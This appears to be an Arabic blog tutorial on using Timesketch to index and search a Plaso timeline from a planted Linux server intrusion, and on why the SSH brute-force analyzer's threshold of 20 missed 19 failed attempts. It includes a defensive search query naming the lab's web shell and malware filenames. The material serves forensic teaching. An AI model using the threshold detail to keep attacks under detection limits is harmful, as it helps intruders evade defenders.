خط زمني من ستة وثلاثين سطراً تقرؤه في ملف CSV بسهولة، ولكن قرصاً حقيقياً بمئات الجيجابايت يعطيك ملايين الأسطر، ولن يفتحها أي برنامج جداول، ولن يبحث فيها فريق كامل معاً. وهنا يأتي دور [Timesketch](https://github.com/google/timesketch?ref=arabroot.io) من Google، وهو تطبيق ويب برخصة [Apache-2.0](https://github.com/google/timesketch/blob/master/LICENSE?ref=arabroot.io)، وآخر إصدار له [20261014](https://github.com/google/timesketch/releases/tag/20261014?ref=arabroot.io)، ترفع إليه ملف Plaso فيفهرسه، فيبحث فيه الفريق كله بسرعة، ويضع العلامات Tags والتعليقات على الأحداث المهمة، ويبني القصة Story، ويشغل محللات Analyzers آلية. وهو يثبت بـ Docker Compose، ولكنه ليس حاوية واحدة، والصورة التالية تبين أجزاءه كما شغلناها في المختبر:

![مكونات Timesketch: Nginx وتطبيق الويب والعامل وOpenSearch وPostgreSQL وRedis مع استهلاك الذاكرة](https://arabroot.io/content/images/2026/10/timeline-plaso-04-timesketch.webp)

Timesketch ست حاويات معاً: الواجهة والعامل، وOpenSearch للفهرسة، وقاعدتان مساعدتان

ولاحظ في الصورة أن القلب هو OpenSearch، وهو محرك بحث يفهرس الأحداث، وهو أثقل جزء في المنصة، فقد احتاج وحده أكثر من 1.3 GiB من الذاكرة في المختبر، ومجموع المنصة نحو 3.7 GiB. ولماذا محرك بحث وليس قاعدة بيانات عادية؟ لأن السؤال في التحقيق نصي غالباً: ابحث عن هذا العنوان في كل الأحداث، أو عن اسم هذا الملف، أو عن كلمة في رسالة أي سجل، وفي ملايين الأسطر لن يفيدك مسح الجدول كله في كل بحث، بينما محرك البحث يبني فهرساً معكوساً Inverted Index يجد الكلمة في أجزاء من الثانية مهما كبر الخط الزمني. وبقية الحاويات حول هذا القلب: PostgreSQL يحفظ القضايا Sketches والمستخدمين والقصص والعلامات، وRedis وسيط Broker يحمل المهام بين الواجهة والعامل، والعامل Worker هو الذي يشغل `psort` للاستيراد والمحللات، وNginx بوابة أمام الواجهة. وهذا سبب أننا في مقال أدوات التحقيق السابق لم نثبته، لأنه يستحق قسماً مستقلاً، وهذا هو القسم. ثبتناه باتباع خطوات [دليل التثبيت الرسمي](https://timesketch.org/guides/admin/install/?ref=arabroot.io)، التي تجلب ملف Docker Compose والإعدادات، وتولد كلمات المرور، ثم تشغل المنصة. وأنشأنا مستخدماً للمحلل بكلمة مرور عشوائية بالأمر `tsctl create-user`.

### رفع ملف Plaso والبحث فيه

الاستيراد يكون بأداة `timesketch_importer` التي تثبت بـ `pip`، ونعطيها عنوان المنصة واسم القضية Sketch واسم الخط الزمني وملف Plaso:

```bash
timesketch_importer --host http://127.0.0.1:18876 -u analyst -p "$PW" \
  --sketch_name 'IR-2026-014 web01' --timeline_name 'web01 plaso' --quick case.plaso
```

رفع الملف، ثم شغل العامل `worker` في الخلفية أداة `psort` نفسها، ولكن بإخراج إلى OpenSearch هذه المرة بدل CSV، فقرأ الأحداث الاثنين والثمانين وفهرسها. وفي سجل العامل رأينا العدد مؤكداً:

```text
Finished reading event count (82) from /usr/share/timesketch/upload/...
Index timeline (ID: 1) ... to index [...] (source: plaso)
```

ثم فتحنا المنصة في المتصفح وسجلنا الدخول، والصورة التالية تبين شاشة القضية بعد الاستيراد، وفيها الخط الزمني على اليمين وأنواع البيانات التي فهرسها:

![شاشة Timesketch بعد استيراد الخط الزمني مع أنواع البيانات الستة على اليمين](https://arabroot.io/content/images/2026/10/timeline-plaso-05-timesketch-sketch.webp)

بعد الاستيراد: الخط الزمني web01، وأنواع البيانات الستة مع عدد أحداث كل منها

لاحظ في قائمة أنواع البيانات على اليمين أنها هي نفسها التي رآها `pinfo.py`: `apache:access_log:entry` بخمسة أحداث، و`fs:stat` بأربعة وخمسين، و`syslog:ssh:failed_connection` بتسعة عشر. أي أن Timesketch لم يفقد شيئاً من الخط الزمني، وإنما جعله قابلاً للبحث. البحث نفسه بلغة بسيطة يشرحها [دليل البحث](https://timesketch.org/guides/user/search-query-guide/?ref=arabroot.io). أول سؤال: ما كل ما فعله العنوان المهاجم؟ نكتب العنوان في صندوق البحث:

![بحث في Timesketch عن العنوان 203.0.113.45 يعطي 23 حدثاً من محاولات الدخول](https://arabroot.io/content/images/2026/10/timeline-plaso-06-timesketch-ip.webp)

البحث عن العنوان المهاجم: ثلاثة وعشرون حدثاً في جزء من الثانية، كلها من سجل SSH

أعطى البحث ثلاثة وعشرين حدثاً في جزء من الثانية: المحاولات الفاشلة التسع عشرة، والمحاولة الفاشلة لـ root، والدخول الناجح، والطلبات الثلاثة في سجل Apache. أي أنك بكتابة عنوان واحد رأيت كل نشاط المهاجم عبر مصدرين مختلفين. والسؤال الثاني: أرني نقاط التحول المهمة فقط، أي الدخول الناجح وأمر sudo والملفات الخبيثة، بلغة بحث تجمع أنواع البيانات مع أسماء الملفات:

```text
data_type:"syslog:ssh:login" OR data_type:"syslog:sudo:command"
  OR filename:*avatar.php OR filename:*kworkerd OR filename:*sysupdate
```

![أحد عشر حدثاً مفصلياً في الحادثة مرتبة بالوقت في Timesketch](https://arabroot.io/content/images/2026/10/timeline-plaso-07-timesketch-key-events.webp)

أحد عشر حدثاً مفصلياً وحدها، من الدخول الناجح إلى مهمة الـ Cron، مرتبة بالوقت

فظهرت أحد عشر حدثاً هي العمود الفقري للحادثة، كل واحد في وقته، فيصبح بناء التقرير مسألة قراءة من أعلى إلى أسفل. ويمكنك أن تضع نجمة على كل حدث مهم، وعلامة، وتعليقاً، فيبني الفريق كله القصة معاً على الأدلة نفسها، وهذا ما يصعب فعله في ملف CSV يتبادله الناس بالبريد.

ولاحظ في أسفل الصورة شيئاً لم نخطط له: بعد فاصل يقول Timesketch إنه خمسة أيام، تظهر الملفات الثلاثة نفسها مرة أخرى بأوقات يوم 25 أكتوبر. هذه ليست أفعال المهاجم، وإنما وقت تغيير البيانات الوصفية Changed للملفات، وهو اللحظة التي كتبنا فيها نسخة الأدلة على قرص المختبر، فهذا الوقت لا يمكن ضبطه بالأمر `touch` كما ضبطنا وقت التعديل، والنظام يضعه بنفسه عند كل كتابة. وفي قضية حقيقية سوف ترى الشيء نفسه: كل أداة جمع أو نسخ تترك وقتاً جديداً على الملفات، فإذا لم تعرف متى جمعت الأدلة، قد تظن أن المهاجم عاد بعد خمسة أيام. ولهذا تكتب في سجل القضية وقت الجمع بالضبط، وتستخدمه لتفصل بين ما فعله المهاجم وما فعلته أنت.

### التحليل الآلي: متى ينجح ومتى يخطئ

Timesketch لا يبحث فقط، بل يشغل محللات Analyzers آلية تقرأ الخط الزمني وتضع علامات على ما تراه مشبوهاً. ومن بين خمسة وثلاثين محللاً متاحاً في النسخة التي شغلناها، يوجد محلل مخصص لتخمين كلمة المرور في SSH، وهو بالضبط ما حدث في حادثتنا، فشغلناه على الخط الزمني. والنتيجة كانت درساً لا يقل أهمية عن نجاح الأداة:

```text
result_summary: No bruteforce activity
result_markdown: Brute force not detected
```

المحلل قال «لا يوجد تخمين»، على خط زمني فيه تسع عشرة محاولة فاشلة تلتها واحدة ناجحة من العنوان نفسه في أقل من دقيقتين. هل أخطأ المحلل؟ لا، بل عمل بالضبط كما صمم، والسبب في كوده. قرأنا مصدر المحلل في المنصة فوجدنا عتبة Threshold واحدة:

```python
# The minimum number of failed events that must occur to be considered for brute
BRUTE_FORCE_MIN_FAILED_EVENT = 20
```

المحلل لا يعتبر النشاط تخميناً إلا إذا بلغت المحاولات الفاشلة عشرين محاولة على الأقل، وحادثتنا فيها تسع عشرة فقط، أي أقل بواحدة من العتبة. فالنتيجة «لا يوجد تخمين» سلبية كاذبة False Negative بسبب عتبة في الأداة، لا لأن الهجوم لم يقع. ولنتأكد أن هذا هو السبب، أضفنا محاولتين فاشلتين إلى السجل حتى تصبح إحدى وعشرين، وأعدنا الاستيراد والتشغيل:

```text
result_priority: HIGH
result_summary: 1 brute force from 203.0.113.45
- Successful brute force on 2026-10-20T02:12:41Z as deploy
- Top Usernames: admin: 18, deploy: 2, root: 2
```

الآن اكتشف المحلل الهجوم، ورفع أولويته إلى HIGH، وحدد العنوان والحساب الذي نجح الدخول به، ووضع علامة `ssh_bruteforce` على الحدث. والصورة التالية تبين الحدث الموسوم بعد التشغيل الثاني:

![محلل التخمين في Timesketch يضع علامة ssh_bruteforce على الدخول الناجح](https://arabroot.io/content/images/2026/10/timeline-plaso-08-timesketch-bruteforce.webp)

بعد تجاوز العتبة: المحلل يوسم الدخول الناجح بـ ssh\_bruteforce ويضع عليه نجمة

والدرس من هذه التجربة أهم من المحلل نفسه: التحليل الآلي يساعدك ولا يحل محلك. فلو اعتمدت على نتيجة المحلل الأولى وحدها لكتبت في تقريرك أن لا تخمين كلمة مرور، وهذا خطأ كان سيغير فهم الحادثة. فاعرف كيف يفكر كل محلل وما عتباته قبل أن تصدق «لا يوجد»، وتذكر القاعدة التي رأيناها في كل أدوات هذه السلسلة: النتيجة السلبية في أداة لا تعني أن الشيء لم يحدث، وإنما أن الأداة لم تجده بإعدادها.

ولماذا تضع الأدوات عتبات مثل هذه أصلاً؟ لأن البديل أسوأ: لو اعتبر المحلل محاولة فاشلة واحدة تخميناً لأغرقك بإنذارات كاذبة False Positives، فكل موظف أخطأ كلمة مروره مرة يصبح «هجوم تخمين»، وفريق مشغول بمئة إنذار كاذب يفوته الإنذار الحقيقي. فالعتبة محاولة لتقليل الضجيج، وثمنها أن تفوت الحالات القريبة من الحد، وهذا يسمى في الكشف مقايضة بين معدل الكشف ومعدل الإنذار الكاذب. والمحقق الجيد لا يلغي العتبات، وإنما يعرفها، فيعرف أن محلل التخمين يبدأ من عشرين محاولة، فإذا رأى تسع عشرة محاولة تلتها واحدة ناجحة فهم أنه أمام حالة دون العتبة بقليل وليس أمام سيرفر سليم. ولهذا السبب أيضاً لا يكتفي فريق ناضج بالمحللات الجاهزة، بل يكتب قواعد Sigma خاصة ببيئته، وهي قواعد كشف قابلة للقراءة يفهمها Timesketch، فتصف بالضبط ما يعنيه «نشاط مشبوه» في مؤسستك أنت، لا في المتوسط العام.

## متى يكفيك CSV، ومتى تحتاج Timesketch؟

ليست كل قضية تحتاج منصة بست حاويات وذاكرة بالجيجابايتات، والجدول التالي يلخص متى تختار كل طريق:

| الحالة                            | CSV من psort                   | Timesketch                          |
| --------------------------------- | ------------------------------ | ----------------------------------- |
| سيرفر أو سيرفران، خط زمني بالآلاف | مناسب تماماً، سريع وبلا تثبيت  | زائد عن الحاجة                      |
| ملايين الأحداث من عدة أجهزة       | لا يفتحه برنامج جداول          | هو الحل، يفهرس ويبحث بسرعة          |
| محقق واحد                         | يكفي                           | اختياري                             |
| فريق يعمل على القضية نفسها        | صعب، نسخ متعددة تتبادل بالبريد | علامات وتعليقات وقصة مشتركة         |
| تحليل آلي وبحث عن أنماط           | يدوي بالكامل                   | محللات جاهزة وقواعد Sigma           |
| موارد الجهاز                      | ذاكرة قليلة                    | يحتاج 4 GiB على الأقل وقرصاً للفهرس |

والطريق العملي أن تبدأ دائماً بـ `psort` وCSV في أول ساعات الحادثة، فهو يعطيك الخط الزمني بسرعة وبلا إعداد، فإذا كبرت القضية إلى عدة أجهزة أو دخل فريق، ترفع ملفات Plaso نفسها إلى Timesketch دون أن تعيد أي عمل، لأن المدخل واحد. وهناك طريق ثالث بينهما لا يحتاج منصة: صيغة الإخراج `l2tcsv` أو `dynamic` من psort تفتح في أي برنامج جداول، وأداة مثل Timeline Explorer على Windows تفتح الملفات الكبيرة وتسمح بالترشيح السريع، وهذا يكفي لمحقق واحد على قضية متوسطة دون عبء تشغيل ست حاويات.

وقبل أن تختار Timesketch لمؤسستك، انتبه إلى أنه ليس أداة تشغلها عند الحاجة وتطفئها، وإنما منصة تبقى قائمة: فهرس OpenSearch يكبر مع كل قضية، والقضايا والعلامات في PostgreSQL تحتاج نسخاً احتياطية مثل أي قاعدة بيانات، والمنصة نفسها تحتاج تحديثاً ومراقبة. ولذلك تناسب فريق استجابة للحوادث يعمل على قضايا متتالية ويريد ذاكرة مؤسسية تبقى، أكثر مما تناسب من يحقق في حادثة واحدة كل بضعة أشهر، فهذا الأخير يكفيه CSV وأداة جداول.

## الموارد والبديل التجاري

Plaso خفيف: يعمل من Docker Image واحدة، ولا يحتاج إلا المعالج والقرص، وزمنه يعتمد على حجم الأدلة وعدد المحللات. وفي المختبر أخذ تشغيل المجلد الصغير أقل من دقيقة، ولكن على قرص حقيقي بمئات الجيجابايت خطط لساعات، وحدد المحللات التي تحتاجها فقط. وTimesketch ثقيل بسبب OpenSearch، فمجموع الحاويات في المختبر استهلك نحو 3.7 GiB من الذاكرة، منها 1.3 GiB لـ OpenSearch وحده، والقرص يكبر مع حجم الفهرس. ولاحظنا في المختبر أن حاوية الواجهة أعيد تشغيلها مرة عند أول إقلاع فأخذت عنواناً جديداً على الشبكة، وبقي Nginx يشير إلى العنوان القديم فظهر خطأ 502، وحل ذلك بإعادة تشغيل Nginx، وهذا من عثرات التشغيل المعتادة لمنصة بعدة حاويات تعتمد على بعضها.

أما البديل التجاري الأقرب فأدوات التحقيق التي تبني الخط الزمني بواجهة رسومية، مثل Magnet AXIOM، وهي لا تنشر سعرها فالصفحة الرسمية تطلب [تجربة مجانية](https://www.magnetforensics.com/products/magnet-axiom-cyber/?ref=arabroot.io) والسعر بطلب عرض، وتعطيك تكاملاً جاهزاً ودعماً ومحللات مدمجة. ولكن إذا كان ما تحتاجه هو بناء خط زمني شامل وتحليله مع فريقك، فـ Plaso وTimesketch يفعلان ذلك بلا تكلفة رخصة، والتكلفة الحقيقية هي وقت الفريق الذي يتعلم المحللات ويدير المنصة.

وللسياق الواقعي: ذكر تقرير [M-Trends 2025](https://cloud.google.com/security/resources/m-trends?ref=arabroot.io) من Mandiant أن الوسيط العالمي لمدة بقاء المهاجم في الشبكة قبل اكتشافه Dwell Time ارتفع إلى 11 يوماً في 2024، بعد أن كان 205 أيام في 2014\. أي أن المهاجم يبقى أياماً، ويترك في كل يوم آثاراً في سجلات مختلفة، والخط الزمني هو ما يجمع هذه الأيام في قصة واحدة تقرؤها بالدقيقة.

## قائمة تحقق قبل أي قضية

- **اعمل على نسخة:** احسب هاش الأدلة أولاً، واعمل على النسخة، وثبت وقت كل إجراء، فبناء الخط الزمني قراءة فقط ولكن اكتب ما فعلت.
- **اعرف المنطقة الزمنية:** منطقة الجهاز الأصلي قبل أي شيء، أعطها لـ Plaso بـ `--timezone`، وأخرج كل شيء بتوقيت UTC بـ `--output_time_zone UTC`.
- **ثبت السنة إن عرفتها:** بـ `--preferred_year` لسجلات بلا سنة، ولا تبن رقماً مهماً على تقدير الأداة وحده.
- **تحقق من المصادر:** بعد كل تشغيل اقرأ `pinfo.py` واسأل عن كل سجل مهم: هل دخل الخط الزمني؟ وحدد المحللات بنفسك إن لزم كما فعلنا مع Apache.
- **قارن بأداة ثانية:** أي وقت مهم قارنه بمصدره الأصلي أو بأداة أخرى قبل أن تكتبه في التقرير.
- **لا تثق بنتيجة محلل سلبية:** اعرف عتبات كل محلل آلي، فالنتيجة «لا يوجد» قد تكون أقل بواحد من العتبة لا غياباً للهجوم.
- **ابدأ بـ CSV:** واترك Timesketch لما يكبر أو لما يدخل فريق، فالمدخل واحد ولا تعيد العمل.

## الخلاصة

وصلنا لنهاية الموضوع، وأهم ما ظهر في المختبر:

- الخط الزمني الشامل يجمع كل مصادر الوقت في جدول واحد، فيضع رفع الـ Web Shell في سجل Apache تحت إنشائه على القرص مباشرة، ويعيد بناء الهجوم بالدقيقة.
- Plaso يختار محللات نظام التشغيل تلقائياً، وترك سجل Apache لأن مجموعة `linux` لا تضمه، فحددنا المحللات بأنفسنا، واقرأ `pinfo.py` دائماً للتأكد من المصادر.
- المنطقة الزمنية حولت الحادثة من 02:12 إلى 23:12 من اليوم السابق، وsyslog لا يكتب السنة أصلاً، فاعرف المنطقة والسنة واكتبهما، وأخرج كل شيء بتوقيت UTC.
- Timesketch يفهرس الخط الزمني فيبحث فيه الفريق بسرعة ويوسم الأحداث، وأعطى بحث العنوان المهاجم ثلاثة وعشرين حدثاً عبر مصدرين، لكنه يحتاج نحو 4 GiB من الذاكرة.
- محلل التخمين قال «لا يوجد» على تسع عشرة محاولة لأن عتبته عشرون، فالنتيجة السلبية الآلية لا تعني غياب الهجوم، واعرف عتبة كل محلل قبل أن تصدقها.

في المقال القادم والأخير من السلسلة بإذن الله سوف نجمع كل ما تعلمناه في حالة واحدة: فحص سيرفر Linux مخترق من أوله إلى آخره دون أن نفسد الأدلة.

[![](https://arabroot.io/content/images/2026/10/dfir-basics-cover-cover.webp)دليلالتحقيق الرقمي DFIR للمبتدئين: احفظ الأدلة قبل أن تنظف السيرفرماذا تفعل عندما تشك أن سيرفرك مخترق، ولماذا تمسح إعادة التشغيل والتنظيف الأدلة التي تحتاجها لتعرف ما حدث.](https://arabroot.io/articles/%D8%A7%D9%84%D8%AA%D8%AD%D9%82%D9%8A%D9%82-%D8%A7%D9%84%D8%B1%D9%82%D9%85%D9%8A-%D9%84%D9%84%D9%85%D8%A8%D8%AA%D8%AF%D8%A6%D9%8A%D9%86-dfir/)[![](https://arabroot.io/content/images/2026/10/forensics-tools-cover-cover.webp)دليلأدوات التحقيق الرقمي مفتوحة المصدر وكيف تستخدمهاالأدوات المفتوحة التي تحتاجها في كل مرحلة من التحقيق الرقمي، من نسخ القرص واسترجاع ملف محذوف إلى بناء خط زمني لما حدث.](https://arabroot.io/articles/%D8%A7%D8%AF%D9%88%D8%A7%D8%AA-%D8%A7%D9%84%D8%AA%D8%AD%D9%82%D9%8A%D9%82-%D8%A7%D9%84%D8%B1%D9%82%D9%85%D9%8A-%D9%85%D9%81%D8%AA%D9%88%D8%AD%D8%A9-%D8%A7%D9%84%D9%85%D8%B5%D8%AF%D8%B1/)[![](https://arabroot.io/content/images/2026/10/velociraptor-lab-cover-cover.webp)دليلالبحث عن آثار الاختراق Hunt في كل سيرفراتك مع Velociraptorبنينا سيرفر Velociraptor وثلاثة عملاء وبحثنا عن آثار اختراق مزروعة بسبع عمليات Hunt، فظهر ما وجدته الأداة وما فاتها بإعداداتها الافتراضية.](https://arabroot.io/articles/%D8%A7%D9%84%D8%A8%D8%AD%D8%AB-%D8%B9%D9%86-%D8%A7%D8%AB%D8%A7%D8%B1-%D8%A7%D9%84%D8%A7%D8%AE%D8%AA%D8%B1%D8%A7%D9%82-%D9%81%D9%8A-%D9%83%D9%84-%D8%A7%D9%84%D8%B3%D9%8A%D8%B1%D9%81%D8%B1%D8%A7%D8%AA-%D9%85%D8%B9-velociraptor/)[![](https://arabroot.io/content/images/2026/10/volatility-lab-cover-cover.webp)دليلتحليل ذاكرة الجهاز Memory Forensics مع Volatility 3حللنا نسختي ذاكرة رسميتين من سيرفر Debian وجهاز Windows 10، فاستخرجنا البرامج والاتصالات وأوامر Bash، ورأينا أين تخطئ malfind.](https://arabroot.io/articles/%D8%AA%D8%AD%D9%84%D9%8A%D9%84-%D8%B0%D8%A7%D9%83%D8%B1%D8%A9-%D8%A7%D9%84%D8%AC%D9%87%D8%A7%D8%B2-memory-forensics-%D9%85%D8%B9-volatility-3/)[![](https://arabroot.io/content/images/2026/10/compromised-linux-cover-cover.webp)دليلفحص سيرفر Linux مخترق دون أن تفسد الأدلةفحصنا سيرفراً مخترقاً في المختبر خطوة خطوة بالطريقة الصحيحة، فوجدنا برنامجاً من ملف محذوف وأمر ls مزروعاً ووقتاً مزوراً، دون أن نفسد دليلاً.](https://arabroot.io/articles/%D9%81%D8%AD%D8%B5-%D8%B3%D9%8A%D8%B1%D9%81%D8%B1-linux-%D9%85%D8%AE%D8%AA%D8%B1%D9%82-%D8%AF%D9%88%D9%86-%D8%A7%D9%86-%D8%AA%D9%81%D8%B3%D8%AF-%D8%A7%D9%84%D8%A7%D8%AF%D9%84%D8%A9/)

## تدريب عملي Practice

- شغل `log2timeline.py --parsers list` وابحث عن مجموعة تناسب سيرفرك، ثم ابن خطاً زمنياً لسجلاتك أنت مع تحديد منطقتك الزمنية، وأخرجه CSV بتوقيت UTC.
- جرب فخ السنة بنفسك: خذ سطر syslog واحداً بلا سنة، وشغله مرة بلا `--preferred_year` ومرة معه، وقارن الناتج.

## سجل التحديثات

- أكتوبر 2026: كتابة الدليل وتنفيذ المختبر يوم 26 أكتوبر 2026 على Plaso 20261025 وTimesketch 20261014 مع OpenSearch 2.19.5، بحادثة مزروعة على أدلة سيرفر Linux.